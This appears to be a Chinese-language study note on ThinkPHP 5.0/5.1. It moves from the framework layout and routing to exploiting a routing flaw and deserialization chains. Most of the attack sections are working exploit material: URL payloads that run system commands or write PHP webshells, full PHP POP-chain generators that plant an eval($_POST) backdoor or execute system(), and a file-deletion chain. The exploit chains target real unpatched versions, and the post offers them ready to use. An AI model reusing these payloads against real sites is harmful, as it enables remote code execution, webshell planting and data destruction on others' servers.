tp5
1.tp5.0開始
結構
www WEB部署目錄(或者子目錄)
├─application 應用目錄
│ ├─common 公共模組目錄(可以更改)
│ ├─module_name 模組目錄(Home:前臺模組;Admin:後臺模組)
│ │ ├─config.php 模組配置檔案
│ │ ├─common.php 模組函式檔案
│ │ ├─controller 控制器目錄
│ │ ├─model 模型目錄
│ │ ├─view 檢視目錄
│ │ └─ ... 更多類庫目錄
│ │
│ ├─command.php 命令列工具配置檔案
│ ├─common.php 公共函式檔案
│ ├─config.php 公共配置檔案
│ ├─route.php 路由配置檔案
│ ├─tags.php 應用行為擴充套件定義檔案
│ └─database.php 資料庫配置檔案
│
├─public WEB目錄(對外訪問目錄)
│ ├─index.php 入口檔案
│ ├─router.php 快速測試檔案
│ └─.htaccess 用於apache的重寫
│
├─thinkphp 框架系統目錄
│ ├─lang 語言檔案目錄
│ ├─library 框架類庫目錄
│ │ ├─think Think類庫包目錄
│ │ └─traits 系統Trait目錄
│ │
│ ├─tpl 系統模板目錄
│ ├─base.php 基礎定義檔案
│ ├─console.php 控制檯入口檔案
│ ├─convention.php 框架慣例配置檔案
│ ├─helper.php 助手函式檔案
│ ├─phpunit.xml phpunit配置檔案
│ └─start.php 框架入口檔案
│
├─extend 擴充套件類庫目錄
├─runtime 應用的執行時目錄(可寫,可定製)
├─vendor 第三方類庫目錄(Composer依賴庫)
├─build.php 自動生成定義檔案(參考)
├─composer.json composer 定義檔案
├─LICENSE.txt 授權說明檔案
├─README.md README 檔案
├─think 命令列入口檔案
url模式
未啟用路由的情況下:
http://localhost/tp5/public/index.php(或者其它應用入口檔案)/模組/控制器/操作/[引數名/引數值...]
支援切換到命令列訪問,如果切換到命令列模式下面的訪問規則是:
php.exe index.php(或者其它應用入口檔案) 模組/控制器/操作/[引數名/引數值...]
可以看到,無論是URL訪問還是命令列訪問,都採用PATH_INFO訪問地址,其中PATH_INFO的分隔符是可以設定的
tp5取消了URL模式的概念,普通模式被移除,但是引數支援
模組/控制器/操作?引數名=引數值&...
URL大小寫
預設情況下,URL是不區分大小寫的,也就是說 URL裡面的模組/控制器/操作名會自動轉換為小寫,控制器在最後呼叫的時候會轉換為駝峰法處理。
當然也可以在配置檔案中改為區分大小寫
// 關閉URL中控制器和操作名的自動轉換
'url_convert' => false,
路由
一、普通模式
關閉路由,完全使用預設的PATH_INFO方式URL:
'url_route_on' => false,
路由關閉後,不會解析任何路由規則,採用預設的PATH_INFO 模式訪問URL:
http://serverName/index.php/module/controller/action/param/value/...
二、混合模式
開啟路由,並使用路由定義+預設PATH_INFO方式的混合
'url_route_on' => true,
'url_route_must'=> false,
該方式下面,只需要對需要定義路由規則的訪問地址定義路由規則,其它的仍然按照第一種普通模式的PATH_INFO模式訪問URL。
三、強制模式
開啟路由,並設定必須定義路由才能訪問:
'url_route_on' => true,
'url_route_must' => true,
如果未開啟強制路由,那麼可能會導致rce
例如定義首頁路由
Route::get('/',function(){
return 'Hello,world!';
});
2.未開啟強制路由導致RCE命令執行
這裡跟一下invokefunction的paylaod
參考:https://xz.aliyun.com/t/8312
在未開啟強制路由的情況下,使用者可以呼叫任意類的任意方法
兩大版本:
- 5.0.0<=ThinkPHP5<=5.0.23
- 5.1.0<=ThinkPHP<=5.1.30
分析
預設是沒有開啟強制路由的
compose.json改成5.0.22
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.22"
然後執行composer update
輸入payload:
http://192.168.117.98:8088/public?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc
直接在入口處下斷點
有用於過濾HTML和PHP標籤的strip_tags函式,漏洞產生與路由排程有關,來看執行路由排程的程式碼:
跟進path看看
可以看到$path的值由pathinfo()獲取,所以跟進pathinfo函式
最後返回的path就是我們?m=xxx傳入的index/\think\Container/invokefunction
回到routeCheck方法
看到這裡判斷是否開啟強制路由,若是開啟了會丟擲錯誤,但是預設是開啟的,所以是存在RCE漏洞的
然後走完routeCheck函式,獲得$dispatch的值
App.php
跟進invokeMethod
跟進bindParams
payload
5.0.x
?s=index/think\config/get&name=database.username # 獲取配置資訊
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意檔案
?s=index/\think\Config/load&file=../../t.php # 包含任意.php檔案
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.1.x
?s=index/think\Request/input&filter[]=system&data=dir
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
其他Paylaod:
Request:
?s=index/\think\Request/input&filter=system&data=tac /f*
write寫shell
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php%20system(%27cat%20/fl*%27);?>
訪問shell.php
display
?s=index/\think\view\driver\Think/display&template=<?php%20system(%27cat%20/fl*%27);?>
__call通殺
?s=index/\think\view\driver\Think/__call&method=display¶ms[]=<?php%20system(%27cat%20/fl*%27);?>
3.tp5.0.X反序列化利用鏈
我用的是5.0.25
漏洞測試程式碼 application/index/controller/Index.php 。
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$c = unserialize($_GET['c']);
var_dump($c);
return 'Welcome to thinkphp5.0.24';
}
}
首先全域性搜尋__destruct
選擇tp5.0.22/thinkphp/library/think/process/pipes/Windows.php
跟進removeFiles()
file_exists呼叫toString方法
全域性搜尋__toString
找到tp5.0.22/thinkphp/library/think/Model.php
到這的exp:
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
namespace think\model;
abstract class Model{}
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
繼續跟tp5.0.22/thinkphp/library/think/Model.php
的__toString方法
跟進toJson方法
一直跟到toArray方法
嘗試去尋找可控引數並且嘗試進行下一次跳轉
有三處可以呼叫__call方法的地方,都可以成功
選擇第三處
if (!empty($this->append)) { //1.append不為空
foreach ($this->append as $key => $name) {
if (is_array($name)) { //2.name不為陣列
// 追加關聯物件屬性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) { //3.name裡不包含'.'
list($key, $attr) = explode('.', $name);
// 追加關聯物件屬性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);//4.解析name賦值給$relation
if (method_exists($this, $relation)) { //5.自身存在relation方法
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {//6.moldelRelation類中存在getBindAttr方法
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) { //7.$modelRelation->getBindAttr()的返回值為true
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) { //8.$this->data[$key]不存在
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
$this->append
我們可控,所以name
就可控,relation
也就可控
主要看第5,6,7個條件if (method_exists($this, $relation))
- 該類需要存在relation方法,
- 且relation方法的返回值(一個類)需要存在getBindAttr方法
- 呼叫getBindAttr的返回值還要為真
所以先找
找一下該類(Model類)的哪一個方法可以返回一個任意的類物件
正則搜尋return \$this->.*
好多都可以
找到getParent()
和getEror()
方法,這兩個比較好利用,這裡選擇getError
繼續進行構造
再往後需要全域性搜尋哪個類有getBindAttr
方法了
只找到一個抽象類OneToOne
,所以找一下哪個類繼承了次類,全域性搜extends OneToOne
找到了HasOne
和BelongsTo
類,二者都可利用,這裡我們使用HasOne
類,所以$moldelRelation
即為HasOne
類的例項
需要呼叫getBindAttr的返回值為真,這裡bindAttr屬性可控,條件8的data預設為空並且也可控
接下來就是看看怎麼給value賦值,跳到__call魔術方法
$value = $this->getRelationData($modelRelation);
進入getRelationData類
- 存在parent
- !$modelRelation->isSelfRelation()
- get_class($modelRelation->getModel()) == get_class($this->parent))
parent可控的,全域性搜一下isSelfRelation()
,在Relation類
這裡的selfRelation我們可控,直接給賦值成false
跟進getModel方法
query可控,繼續跟進
model可控,所以我們看看value需要賦值成哪個類的例項,value=parent,然後再讓model和parent一樣就行了
選擇Output類
編寫一下這部分的exp:
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
namespace think;
use think\console\Output;
use think\model\relation\HasOne;
abstract class Model
{
protected $append = [];
protected $data = [];
protected $error;
protected $parent;//這裡把parent改成public???
public function __construct(){
$this->error = new HasOne();
$this->parent = new Output();
$this->append = ['getError'];
}
}
namespace think\model;
abstract class Relation
{
protected $selfRelation;
public function __construct(){
$this->selfRelation = false;
}
}
namespace think\console;
class Output{
}
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation
{
protected $bindAttr = [];
}
namespace think\model\relation;
class HasOne extends OneToOne
{
}
namespace think\db;
class Query
{
protected $model;
public function __construct(){
$this -> model= new Output();
}
}
use think\console\Output;
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
這裡有很坑的地方,除錯的時候發現有兩個parent屬性,在後面的判斷中parent被值為null的parent覆蓋
思考之後在Pivot類中發現在子類Pivot裡有一個public屬性的parent這樣的
我們是透過子類的例項想去獲取父類的parent,但是子類本身存在parent屬性,就導致父類的parent屬性被子類的給覆蓋了,把parent改成public就行了,這是改進的exp:
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
namespace think;
use think\console\Output;
use think\model\relation\HasOne;
abstract class Model
{
protected $append = [];
protected $data = [];
protected $error;
public $parent;//這裡把parent改成public了???
public function __construct(){
$this->error = new HasOne();
$this->parent = new Output();
$this->append = ['getError'];
}
}
namespace think\model;
use think\db\Query;
abstract class Relation
{
protected $selfRelation;
protected $query;
public function __construct(){
$this->selfRelation = false;
$this->query = new Query();
}
}
namespace think\console;
class Output{
}
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation
{
protected $bindAttr = [];
}
namespace think\model\relation;
class HasOne extends OneToOne
{
protected $bindAttr = [1];
}
namespace think\db;
use think\console\Output;
class Query
{
protected $model;
public function __construct(){
$this -> model= new Output();
}
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
成功跳轉到__call
!!!
這裡styles
可控,賦值成getAttr
進入if
跟進block函式,一直跟進
handle
可控,看看還有哪些類可以利用write
函式,選擇Memcached
類
這裡handler可控,繼續找還有哪些類能利用set方法,選擇File類的set函式
目標是利用file_put_contents
來往檔案裡寫馬
先分析一下filename
,跟進getCacheKey
函式
$this->options
可控,就可以控制filename了
再看$data,也就是寫入檔案的內容。
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//資料壓縮
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
使用偽協議配合編碼過濾髒字元來繞過exit
https://xz.aliyun.com/t/7457
convert.iconv.utf-8.utf-7將髒字元過濾
convert.base64-decode保護我們的一句話木馬不被過濾
php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
<?php @eval($_POST['ccc']);?>
將檔案寫到根目錄下
但是這裡$data
是$value
序列化後的值,value已被寫死為true,不可控
所以這裡file_put_contents
可以寫檔案,但是內容不可控
看到下set剩下的程式碼
跟進setTagItem
函式
這裡會再次呼叫set函式,並且這裡的$value
可控,這樣寫入的內容我們就可控了
可以看到我們成功寫入$value
$name成功被改寫
靜態目錄下成功寫入檔案,檔案路徑:
http://127.0.0.1/public/a.php3b58a9545013e88c7186db11bb158c44.php
拿到shell
如果本地沒環境打遠端伺服器的話,我們怎麼獲取檔案路徑呢?
除錯一下看看邏輯
前面是第一次寫檔案,我們無法控制內容那次
後面又呼叫一次getCacheKey函式
這才是我們的後門檔案,這裡key是定值true,所以$key也會是定值tag_c4ca4238a0b923820dcc509a6f75849b
之後進入has函式,會呼叫get函式,然後會再次呼叫getCacheKey
函式
這裡將定值再進行一次md5,所以得到的filename還是定值3b58a9545013e88c7186db11bb158c44
經過拼接最終filename為
php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php3b58a9545013e88c7186db11bb158c44.php
所以最後的檔案路徑就是根目錄下a.php3b58a9545013e88c7186db11bb158c44.php,這是定值
也有寫函式獲取路徑的
namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver
{
protected $tag;
protected $options=[];
public function __construct(){
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => false,
];
$this->tag = true;
}
public function get_filename()
{
$name = md5('tag_' . md5($this->tag));
$filename = $this->options['path'];
$pos = strpos($filename, "/../");
echo $pos;
echo "\n\n";
$filename = urlencode(substr($filename, $pos + strlen("/../")));
return $filename . $name . ".php";
}
}
EXP:
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
namespace think;
use think\console\Output;
use think\model\relation\HasOne;
abstract class Model
{
protected $append = [];
protected $data = [];
protected $error;
public $parent;//這裡把parent改成public了???
public function __construct(){
$this->error = new HasOne();
$this->parent = new Output();
$this->append = ['getError'];
}
}
namespace think\model;
use think\db\Query;
abstract class Relation
{
protected $selfRelation;
protected $query;
public function __construct(){
$this->selfRelation = false;
$this->query = new Query();
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output
{
protected $styles;
private $handle;
public function __construct()
{
$this->handle = new Memcached();
$this->styles = ['getAttr'];
}
}
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation
{
}
namespace think\model\relation;
class HasOne extends OneToOne
{
protected $bindAttr = [1];//只要不為空就行
}
namespace think\db;
use think\console\Output;
class Query
{
protected $model;
public function __construct(){
$this -> model= new Output();
}
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcached {
protected $handler;
PUBLIC function __construct(){
$this->handler = new File();
}
}
namespace think\cache\driver;
class File {
protected $options = [];
protected $tag;
public function __construct()
{
$this->options = [
'prefix' => '',
'cache_subdir' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => ''
];
$this->tag = true;
}
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
4.tp5.1開始
多了route/route.php
可以在此將/模組/控制器/操作方法
的 URL 對映到指定路由
————————————————————————————————————————————————
5.tp5.1.x反序列化利用鏈
composer create-project topthink/think=5.1.* tp
注意tp5.1版本的根目錄要設定成/public
通用exp:
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["l1_Tuer"=>["123"]];
$this->data = ["l1_Tuer"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo (serialize(new Windows()));
?>
存在一個刪除任意檔案的功能
<?php
namespace think\process\pipes;
use think\Process;
class pipes{};
class Windows extends Pipes
{
private $files = [];
public function __construct(){
$this->files = ["C:\\Users\\20778\\Desktop\\1.txt" ];
}
}
echo urlencode(serialize(new Windows()));
接下來看如何呼叫到__toString方法
將$filename例項化為tostring方法在的類,但是這裡的類是個trait
所以trait是可呼叫方法,所以需要找一下那個類use Conversion
找到了抽象類Model,Pivot extends Model,所以最終使用Pivot類
toString一直跟到toArray方法的關鍵程式碼:
存在append可以進入if,最後的relation可控就可以跳轉到__call方法
需要讓$relation返回值為true,與getRelation方法有關,跟進